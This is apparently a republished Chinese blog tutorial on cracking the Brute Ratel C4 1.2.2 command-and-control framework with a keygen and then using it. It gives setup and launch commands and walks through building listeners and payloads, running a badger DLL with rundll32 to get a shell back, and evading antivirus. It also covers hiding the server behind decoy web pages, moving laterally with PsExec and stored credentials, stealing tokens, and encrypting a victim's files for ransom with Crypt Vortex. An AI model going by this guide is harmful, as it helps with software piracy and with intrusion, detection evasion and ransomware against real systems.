目录
1、前言
2、准备阶段
3、注册机安装
4、登录教程
5、使用教程
1.Operator编辑
2.C4 Profiler
1.Add Http Listener
2.Add DOH Listener
3.Hosted Files
4.Change Root Page
5.Autoruns
6.Payload Profiler
7.PsExec Config
8.ClickScript
3.Server
1.View Active Socks
2.Add Credentials
3.Save Credentials
4.View Downloads
5.View Logs
6.Enable/Disable DOH Debug Logs
7.User Activity
8.MITRE Team Activity
9.MITRE Team ActivityBrute Ratel MITRE Map
4.Listeners Tab
1.Riot Control
2.Pivot Graph
3.Activate KillSwitch
4.WebHook
5.Staging
6.Listener Actions
7.Build Stageless Payload
5.Badgers
1.Load/Load Adjacent Tab/Load New Window编辑
2.Clear Cmd-Q
3.Arsenal
4.Clickscript
5.Remove
6.Export To CSV
7.Mark Dead
8.Color
9.Exit Thread
10. Exit Process
6.其他
1.配置文件存储
2.选项卡切换
3.心跳频率
7.后记
1、前言
目前brc4貌似越来越火，相比之下cs用的越来越少了，但是不管是外网还是国内，关于brc4的在野破解版1.2.2的中文教程没有多少，虽然他和cs相似，这里提供官方的详细教程
Features & Documentation | Brute Ratel C4
Brute Ratel C4 Tutorials | Brute Ratel C4
https://www.youtube.com/watch?v=7vv3y9dNQZg&t=3s
当然，也可以看我这一篇，但是可能有些不全，希望各位师傅多多包涵
以下大部分参考官方给的教程
有理解错误欢迎各位师傅指错
2、准备阶段
在开始之前，先讲一下brc4的重要核心点，他的所有的配置是以json的格式存储的，他方便你将当前这个环境的配置文件存下之后，导入到其他任何一个环境里的brc4里，不需要重复配置
首先，你得有一个原版的brc4 1.2.2的压缩包
https://www.virustotal.com/gui/file/591c2cd3a9b902a182fbf05bf5423cae17e3e6874c0d2e09107e914d86f39780
有了的师傅可以对比下哈希值
MD5
9b6badce82d865c5c9196521d6af1793
SHA-1
2ad8b747c449a45d5828d8300fef140dd74c3a40
SHA-256
591c2cd3a9b902a182fbf05bf5423cae17e3e6874c0d2e09107e914d86f39780
Vhash
15c07c60c414227e89fbe61711f6c114
SSDEEP
1572864:COszx449qkWzpycjjnPkagvRJlKftO2rsUBKYLDPOhbm641kybVU6DlF+wC4FG9P:A1TLWzgcjjTORTQteU8UTkCUI3vC
TLSH
T1064833E7953FDDCAB41A8429C238B475A2EE20E86D4BD07018A477947FC3E95B86F44C
File type
GZIP
Magic
gzip compressed data, from Unix
TrID
GZipped data (100%)
File size
108.69 MB (113968319 bytes)
Cyren packer
packed, packed, packed--该处数据来自微信利刃华安公众号
当有了brc4原版压缩包之后，我们还需要一个注册机
这里提供看雪大佬逆向出来的注册机
[原创]Brute Ratel C4 Keygen-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
有了这个两个文件了之后，我们开始进行破解，目前我在centos上没有搭建成功，像kali，Ubuntu这种基于debian的可以搭建起来
3、注册机安装
打开注册机，点击Generate，生成license，然后点Explore，他会保存.brauth这个文件
这个文件是关键
安装包
sudo apt-get install libqt5webenginewidgets5 libqt5websockets5
sudo apt-get install nasm mingw-w64
然后我们先在kali上解压 brc4
tar zxvg brute\ ratel\ C4.gz
将刚刚的破解文件到brc4根目录 并选择替换 将原来的文件替换掉
./brute-ratel-linx64 -ratel -a admin -p password -h 127.0.0.1:50000 -sc cert.pem -sk key.pem
执行一下命令看看是否破解成功，如果能正常启动就说明破解成功了，并且还可以连接
没破解成功它会提示 Enter activation key: 或者 License is invalid or expired
接下来我们结束服务，进入adhoc_scripts目录下运行，生成证书
ps:此处生成证书可以跳过
chmod +x install.sh
chmod +x genssl.sh
然后挨个执行
执行genssl.sh时 需要自定义这些
CN=(名字与姓氏),OU=(组织单位名称), O=(组织名称), L=(城市或区域名称),ST=(州或省份名称), C=(单位的两字母国家代码)"
可以用自己随便写的 也可以用这两套
CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN
CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN
然后将生成的cert.pem和key.pem 拷回上级目录
mv ./cert.pem ../cert.pem
mv ./key.pem ../key/pem
4、登录教程
运行./brute-ratel-linx64 -ratel 他会提示有这些参数可以用 感兴趣的师傅可以都测测
./brute-ratel-linx64 -ratel -a admin -p password -h 0.0.0.0:50000 -sc cert.pem -sk key.pem
-a 用户名
-p 密码
-h ip:port
-sc/-sk 认证方式
-e 选项根据官方说的是会加密的
-c 选择配置文件并导入 配置文件这块详情可以看看官方文档 这里不做赘述
C4 Profiles | Brute Ratel C4
启动服务端之后，我们赋予commander-runme 执行权限
chmod +x commander-run
然后执行
./commander-runme
输入用户名密码地址之后 按下回车 或者 点那个猴头都可以
连接成功
5、使用教程
该处不会全测，会有些疏漏的地方，感兴趣的师傅可以测一测
1.Operator
此处相比cs的好处在于，cs貌似是自动加用户，只要你密码对，账号是什么都可以
这里可以选择的选项有三个，我都测了一遍
第一个加用户，后续有团队其他成员加进来可以一起操作，并且新加进来的用户这些选项依然存在，权限相等且为管理员(但是根据官方说法 管理员只能有一个，其他创建的都是操作员，应该有bug)
第二个选项为删除某一个用户
第三个选项是可以修改当前已有用户的密码
2.C4 Profiler
我们先看第一个选项
1.Add Http Listener
第一个 监听器名称 随便取
第二个 监听绑定主机 也就是你的网卡上对应的所有ip都会在里面，可以自己选择
第三个 官方解释为重定向 可以自己设置 也可以点右边的same和上面一样 类似于cs
第四个 端口
第五个 UA头
第六个 header 举个例子
第七个 postdata 根据我的理解来说 就是挂上后门之后是http连接 会发送一个post请求 这个框里可以填post中传递的data或者json等数据进行伪装 这里我们填一个json
格式为这样
效果
第八处 UrI(s) 根据官方说法 可以自行设置任何域名
第九处 OS 只有一个windows
第十处 SSL证书 默认为yes
第十一处 代理 我还没看到后面 估计可以在多层网络环境中 转发上线
接下来这个 我没找到官方说明 细心的师傅可以看看 我觉得类似于cs的心跳频率 可以设置
最后下面 这个东西非常有意思 相比cs来说非常强
Common Auth 就是当目标执行载荷后 会一直反弹shell 如果他们一直执行 将会一直反弹shell 就是和cs msf一样
One time Auth 就很有意思 选择这个之后可以自定义能反弹多少次shell 比如反弹或者目标执行10次后 该载荷就废弃 这样的话 你可以最多放到10台主机上反弹shell 不会被对方拿到载荷后一直执行
当你选择 One time Auth之后 下面这个选项右边默认是1次 并且你不开启下面的选项的话 只能设置一次(但是当你选择选项之后 调完次数 再把选项点掉 他还是你调好的次数 应该是个bug)
我们先来解释一下下面这个选项 他会创建不同的身份验证密钥 如果右边的选项为10 那么他会创建10个不同的密钥
接下来我们看最后两个地方
那个框就是你可以自定义一个唯一的身份验证密钥用于公共身份验证 只能用于 Common Auth 选项
最后一个选项 他的意思是如果你在目标机器上执行了有效载荷，反弹shell的时候可能是防火墙，也可能是什么原因导致没有反弹成功，服务端始终收不到shell的时候，他不会在内存里一直发起请求，而是在连接不上之后会挂掉
这是官方的配置
保存之后选择 点击下面的设置 可以看到你的c2配置详情
接下来根据这个生成payload
选择刚刚生成的test001监听器
你也可以在监听器上生成
此处根据你的需求 可以选择不同的payload 这里我生成一个dll
转移到windows上 执行
rundll32 badger_x64.dll,main
成功上线
火绒静态动态都可以过
https://www.virustotal.com/gui/file/e0fbbc548fdb9da83a72ddc1040463e37ab6b8b544bf0d2b206bfff352175afe?nocache=1
2.Add DOH Listener
这里提供官方教程 C4 Profiler | Brute Ratel C4
3.Hosted Files
该选项用于文件托管的管理
打开这个选项的时候会报错，因为你还没有配置，首先我们先找到我们的监听器，我们设置的是443端口，根据自己实际情况来看，以下是操作步骤
随便拷一个html页面，随便放入一个文件夹，我这里拷的是这个师傅的博客的
几个好看实用的html简单登录页面_html页面_hanscal的博客-CSDN博客
然后我存到了brc4根目录里，命名为index.html
然后找到我们的443端口的监听器 点击这里的 Host File
我的配置如下
记住一定要是text/html不能是 text/plain 否则无法解析html
然后点击OK
接下来访问当前监听器的 ip+端口/文件名 如下图
访问成功就行 然后你会在 Hosted Files 看到你所有设置的监听器网站目录下的文件 并可以选择删除
这里起到一个混淆迷惑的作用
当然不仅如此，你还可以放入一些ps，zip等等文件，他可以起到一些文件传输的作用，这取决于你怎么使用他
4.Change Root Page
更改根页面，该处选项可填入html代码，他会将你除了第三条你设置了那些节点以外的任何页面以外的所有页面，都会显示为你填入的html页面
以下为示例
此处我们键入了一个html页面，点击ok，接下来我们访问任意一个节点
再次访问自行设置的节点
可以看到自行设置的节点不受影响，并且随机输入任何一个其他节点，访问的都是我们在该选项设置的页面
5.Autoruns
选择之后点击+号输入命令，这些命令将会在shell反弹成功之后自动执行
可以看到下图 他自动执行了 sleep 2，并且会标识出来这是设置的自动执行命令，
此处能自动执行的命令请参考下面
首先双击反弹shell的主机 双击红框
然后在下面的 Command 中输入 help 会出现一系列命令 根据需求来写
其余的我们下面在介绍，目前我们只解析这一条
6.Payload Profiler
此处能添加payload配置 修改payload配置 删除payload配置 ，然后根据你选择的不同配置文件，生成该监听器的后门，此处有DOH (DNS over HTTPS)，HTTP/HTTPS，TCP，SMB 可以选择，详情还是请参考官方文档，其中http/doh 大部分和原先配置相同，要注意的是tcp和smb，并且它可以和下一个选项 PsExec Config 可以联动，这可以用于多级网络反弹shell搭建隧道，当前多级网络环境我电脑上没有，拿到了之后会试试看
C4 Profiler | Brute Ratel C4
7.PsExec Config
Brc4的PsExec特性部分类似于Microsoft的PsExec特性。它在给定的远程系统上创建一个服务，并使用远程过程调用(remote Procedure Calls, RPC)启动它。但是，与Microsoft的PsExec使用CreateProcess在SMB上管道cmd.exe不同，BRc4的PsExec服务包含一个shellcode blob，用于在PsExec执行期间提供的有效负载配置文件，此有效负载可以是SMB、DOH、HTTP或TCP配置文件，并且不一定仅限于SMB。你可以自定义，也可以默认。
可以在此输入服务名称及服务描述，之后点下图中第一个红框的位置可以看到，因为我没有修改，所以该处还是默认状态，当你修改后，它会变成你修改的样子。
8.ClickScript
此处是设置的自动点击脚本，相比之前的自动运行脚本来说，那个在连接shell会自动执行，这个你可以根据需求设置，根据需求来运行，以下为操作步骤
点击上面的+号创建一个脚本目录，随便取一个名称，这里我取了test这个名称
创建完成之后点击test这个目录，使其变成红色
然后再点下面的那个 窗户+ 如下在里面放入你想执行的命令之后点击OK 这样我们就存入了一个命令 你可以放置多条命令在test这个命令执行目录下 这里我们只存入一个命令
点击save保存下来 接下来我们反弹一个shell 然后选此处 Load Clickscript
他会弹出来一个窗口加在后面
b-3 是你反弹回来的shell id值，下面选择刚刚生成的命令脚本，点击run（在最右边）
查看刚刚连接的shell
执行成功
3.Server
1.View Active Socks
第一条这个用来查看所设置的代理，但是在我完完全全测一遍之后还没找到代理点，我只发现了设置http监听器的时候可以设置代理，但是跟这个不一样，后续找到了会更新这一条
2.Add Credentials
添加凭证，用户名，密码，域，备注 ，你可以自行添加，也可以在brc4根目录下找到server_confs文件夹，该文件夹下有个creds.csv，这是官方提供默认的凭证，你可以将其导入进去，用于横向移动
导入后 点击creds选项卡可以看到我们导入的凭证
3.Save Credentials
将你当前设置的凭证保存下来，这里我存入名称为test.csv
但是有个小问题，这里存储的即使我设置为csv，依然能看出来他就是个json，并且直接导入会导致客户端崩溃，开头说了，brc4核心点在于它的配置文件，他的配置文件就是以json写入的，这样理解其实就通了。
以下写了个python脚本将该导出的json转为csv格式，并可以继续导入进去而不会报错
import json
import csv
# creduser,credpass,creddomain,crednote
class json_to_csv():
def __init__(self,file):
self.json_Credentials = json.loads(open(file, 'r', encoding='utf-8').read())
self.csv_Credentials = csv.writer(open(f"./{file.split('.')[0]}.csv", 'w' ,encoding='utf-8'),lineterminator='\n')
print(self.json_Credentials)
self.csv_Credentials.writerow(['creduser','credpass','creddomain','crednote'])
self.json_length = len(self.json_Credentials)
self.json_csv()
def json_csv(self):
for i in range(0, self.json_length):
print(self.json_Credentials[f'{str(i)}'])
self.csv_Credentials.writerow([f"{self.json_Credentials[f'{str(i)}']['user']}",f"{self.json_Credentials[f'{str(i)}']['passowrd']}",f"{self.json_Credentials[f'{str(i)}']['domain']}",f"{self.json_Credentials[f'{str(i)}']['note']}"])
json_to_csv('test.txt')
4.View Downloads
你所有下载的东西在这都能看到
5.View Logs
日志记录 选择日志点击View即可查看 这个详细解释还是有点麻烦的，手测都看看理解更快，这里还是提供官方教程
Server (Reporting) | Brute Ratel C4
最后一个badger_token.conf 记录了反弹shell的监听器详情，目标主机的连接详情
6.Enable/Disable DOH Debug Logs
操作员可以在Server->Enable/Disable DOH Debug Logs中启用它。一旦启用，在禁用之前，每次回调时，服务器都会显示shell签入。调试日志显示在级别服务器日志中。
大致意思就是doh的调试默认不存入日志，启用了就会存入日志，提供官方解释
The debug DOH logs help provide a bit more verbosity to the DOH logging functionality. Due to the way DNS is built, The RFC only allows sending up-to 64 bytes per subdomain per request. This means if the badger needs to send back a large response, it will send it in multiple chunks. Badger sends all output in encrypted format, which means unless the whole response is received from the badger, the server cannot decrypt it, and if it cannot decrypt it, it means it cannot identify which badger is sending the response. This means until the full response is received, the server cannot decrypt the data and Commander won't show whether the badger checkin-in even if it is continuously sending in chunks of response. However, in order to tackle this, the ratel server comes pre-built with a debug log functionality. This is by-default disabled unless the operator enables it from Server->Enable/Disable DOH Debug Logs. Once enabled, the ratel server will show up the badger checking in everytime it calls back, until disabled. Debug logs show up in the ratel server logs.
7.User Activity
看每个用户做了哪些操作并将操作次数,操作时间等数据记录下来，可以查看所有用户的操作并可以导出csv
不得不说brc4对安全这方面严谨性还是很高的
8.MITRE Team Activity
第8第9 我一开就闪退，可能是版本问题，这里放官方介绍
Unlike Brute Ratel MITRE Map, which provides a MITRE graph of all the Brute Ratel commands, MITRE Team Activity displays a MITRE graph only for the commands executed by the Red Team/Adversary Simulation Team. This can help to narrow down which type of commands worked the most during a Red Team engagement and to list them out during reporting.
9.MITRE Team ActivityBrute Ratel MITRE Map
All of the Badger commands of Brute Ratel can be viewed in a node based MITRE graph which shows the respective tactics and techniques. This can be accessed from Server Config->Brute Ratel MITRE Map.
4.Listeners Tab
1.Riot Control
选择此选项，上面会弹出一个命令行窗口，它的作用是针对这一个监听器发起命令，那么该监听器下所有基于该监听器收到的shell都会收到并执行该命令，相当于统一发出执行
上面我发送了 ls 所有的badgers都收到了
2.Pivot Graph
这个是带视图的，貌似所有带视图的都会崩溃，后续如果解决了会更新该处，提供官方解释
Commander can display pivoted networks in a graphical manner. The graph also displays Metadata of the selected Badger. You can view the graph by right clicking a listener and selecting Pivot Graph.
3.Activate KillSwitch
针对某一个监听器，启用该选项之后，他会批量杀死该监听器下所有的shell
4.WebHook
选择一个监听器，打开此选项后如下
首先第一个空要输入一个https://ip+端口，因为我们后面启动openssl时会使用证书和密钥，下面第一个选项选择之后它会将第一次连接的时候的post请求连接详情发回你设置的ip+端口处，第二个字面意思，就是会把你执行命令的post请求发回你设置的ip+端口处
上方配置点击ok之后，我们接着下面的步骤
openssl s_server -key key.pem -cert cert.pem -accept 80
找到启动brc4客户端的 key 和 cert 并输入以上命令，使用80端口接收
此时我们在已经连接上来的shell中输入 ls 执行一次命令
可以看到这边收到了post包，下面的json badger里是我们刚刚执行命令的shell id，后面msg是使用base64加密的结果，解一下看看
没问题，我们再测一下 shell 连上时是什么包
监听器详情和目标机详情
再次选择 WebHook 点击 Disable可以将其关掉
5.Staging
目前该选项只支持http/s，点击之后可以选择监听器设置反弹次数，也可以关闭该选项
此处可以生成后门，但是要注意，这里只能生成bin文件，还是需要shellcodeloader
6.Listener Actions
这个选项也没难点
第一个 stop Listener 就是删除该监听器并删除该监听器上的托管文件
第二个 View Authentication 用来查看 你所创建的监听器的密钥，点击之后如下，如果你是使用brc4自己生成的，它显示的也是生成的密钥
第三个 Change Authentication 可以用来更改密钥
第四个 Host File 还是提一下吧，文件托管，选择文件后指定节点放上去，访问节点即可得到
比如这样，访问节点之后可以得到 index.html 的源码，并不会显示出来，因为type为text/plain
7.Build Stageless Payload
生成payload，bin文件可以找shellcodeloader加载，这里推一个github上开源很久了的
dll文件可以隐藏起来完成dll权限劫持的方法反弹，也可以直接rundll32 badger.dll,main，看怎么使用了
主要是最后一个Service Executable 执行成功也没反弹回来，没测出来
5.Badgers
1.Load/Load Adjacent Tab/Load New Window
这三个选项就放一起了
第一个直接开启一个命令行对话框在下面
第二个在右边开启了个小窗口
第三个开启了个独立的窗口，可伸缩
2.Clear Cmd-Q
监听器默认心跳返回为60，在60秒期间如果你输入了任何命令，他都会等这一个60秒结束才会执行，然后在等60秒返回结果。
这个选项的作用是用来消除你第一个60秒内输入的命令，就是还没执行的时候输入的命令
当你执行成功等下一个60秒返回响应结果的时候，在点此选项就没用了，因为你已经执行成功
可能我说起来有点绕，但还是很好理解的
3.Arsenal
这一块还挺多的，不过还是一次性说完吧
1.LDAP sentinel
用于查询域控的信息，里面选项有很多
他能自动查询到域控里所有的信息
在右边默认选项第一个选项就是全部信息
右边第二个选项点开之后可以筛选部分信息，右边的框是个查询过滤器
最下面那个点击之后 他所有的操作全是在默认域里查询
选择域控输入命令查询
这里在交互界面也出现了
这里举个例子
他的意思是查询域控中 cn 相等于 Domain Admins 并且 在当前域下的信息
2.Switch Profile
查看你当前监听器的配置，点击 Load from file... 也可以在加载一个配置上来，当你点击save之后，他会在当前页面重新加载一个shell，需要注意三点
第一，你点save加载上来的shell并不是在目标主机重新反弹了一次，而是多了一次显示而已
第二，它只支持http/s的shell
第三，当你点击save之后，他会显示一个新的shell，原先的shell将被抛弃，无法响应
3.Process Manager
进程管理 你可以看到所有进程 上面的选项分别为 刷新列表，杀死进程，设置为父节点，窃取令牌，搜索进程pid
4.File Explorer
就是文件目录显示出来，可以下载，删除，查看，但是我测的有bug，有时候有些目录进不去，不如命令行里直接看，直接命令行下载
5.Crypt Vortex
文件加密/解密，用于勒索，加密对方电脑上的文件，这里先放教程，在说一下我没测试成功的原因猜测
先看一下参数
第一个为加密密钥
第二个为加密路径（此处需要注意，加密是递归的。所以如果你的路径包含多个文件夹，而这些文件夹又包含更多的文件夹，那么所有的文件夹都会一个接一个地递归加密。如果忘记密钥也不要紧，badger日志里包含加密密钥）
第三个为你加密文件之后的文件后缀名
第四个可以看到是为可选项，你可以选择一些文件，比如你想选择 .xlsx 和 .docx 那么你只需要用逗号隔开即可，例如(.xlsx,.docx)
点击OK即可加密完成
接下来是解密部分
其实都差不多，只要输入密钥，目录，加密之后的后缀名点击OK即可解密
接下来讨论一下 为什么我在我这台win11家庭中文版上没有测试成功（后续会在虚拟机上重新测试win10专业版） 此处可以跳过直接翻到下一节
我在官方教程中看到他启用了 werfault.exe
而我这边报错
大概率可能是因为 werfault.exe 没有启动成功
werfault.exe是一个windows系统自带的程序。用于错误报告.
我参考以下文章尝试启动
Win11家庭版找不到gpedit.msc文件怎么办？
Win10系统无法启动werfault.exe的解决方法教学
快速解决Win10系统上的WerFault.exe错误(4个方案)_系统堂官网
但是进程里依然没有显示 werfault.exe
暂时不清楚哪地方出了问题，感兴趣的师傅可以测测看，我更多的是感觉这个东西应该是在 windows server上的
4.Clickscript
这个之前说了一次，还是在写一下吧
Clickscript是一个允许用户自动执行批量命令的功能。与允许用户在第一次连接时自动执行几个命令的“自动运行”功能不同，点击脚本基本上是多个命令的列表，可以在任何时间点链接在一起执行一个接一个的命令。
5.Remove
删除这一条，当然只是删除没有退出的作用，反连之后依然会再次弹出来，一般都是当shell失效之后用这个把他删掉。
6.Export To CSV
导出为CSV 它可以将一个shell的连接详情导出来
导出的结果
7.Mark Dead
用于标记没有连接回来的shell
如下第一个没有连接回来，使用该项测试之后变色，第二个一直有连接， 所以即使选择了该选项，他依然保持高亮
8.Color
这个确实没啥好说的 更改字体颜色 更改背景颜色 重置颜色 用于标记的
9.Exit Thread
退出线程并且会自动变暗
10. Exit Process
退出进程并且会自动变暗
这两条很相似，但是这里官方没有说明，所以根据我测的结果来解释
可以看到退出进程(Exit Process)之后的 b-3 pid为 22584 并且在目标机器进程里看不到，说明彻底退出了，进程也被杀死
退出线程(Exit Thread)之后 可以看到 b-2 pid 为 18636 在目标机器进程里依然看得到，但是shell已经断开，这就是差别
退出进程就是字面意思在目标机器里shell进程会推出，退出线程shell会断开，但是进程依然存在
6.其他
这里我们介绍一些界面操作，不会全都涉及
1.配置文件存储
点击图中的图标可以将当前brc4的配置文件存下来以供下次启动或者转移机器启动，命名格式为 xxx.conf ，xxx可以自己取名，之后再次启动brc4服务端的时候可以使用
./brute-ratel-linx64 -ratel -c xxx.conf
这里跟开头说的一样，这是brc4相比cs来说最重要的一个点
配置文件格式为json，各个参数详情可以自行了解，这里提供教程
https://www.youtube.com/watch?v=7vv3y9dNQZg&t=3s
2.选项卡切换
其实我一开始都没注意到，后面才发现的
下面这一排为你打开的选项卡，可以切换的
3.心跳频率
这里算是比较有意思的地方，它会显示哪一个shell已经过了多少秒了还没有响应，可以在左下角看到
7.后记
到此为止算结束了，写的可能并没有官方详细，在学brc4的期间，有相当一部分没有测出来，大部分是环境问题，这些环境暂时还没拿到，因为不在我这，当拿到了之后会再测一遍，有师傅看到了的话也可以自行测试，强烈建议看开头我放的官方教程，如果官方教程实在理解不了的话可以再看看我写的或许更容易理解。谈谈brc4和cs的区别吧，cs感觉更容易上手(可能是用习惯了)，并且他的扩展更多，github上开源有很多的，brc4大概率也支持扩展，只是我没找到，并且brc4还没完全火起来，即使支持插件，开源的插件也很少，相比之下cs的缺点可能就是安全性以及默认免杀能力不如brc4，最重要的就是安全性，免杀能力还是看shellcodeloader，brc4的日志系统非常完善，并且他的伪装能力也很强，总体来说，brc4 和 cs 都是用破解版也不奢求什么了。文章来源：https://www.toymoban.com/news/detail-641990.html
这一篇算是自己的笔记了，也希望能给各位师傅提供参考价值。文章来源地址https://www.toymoban.com/news/detail-641990.html
到了这里，关于Brute Ratel C4红队框架 brc4 1.2.2入门使用教程(注册机使用)的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
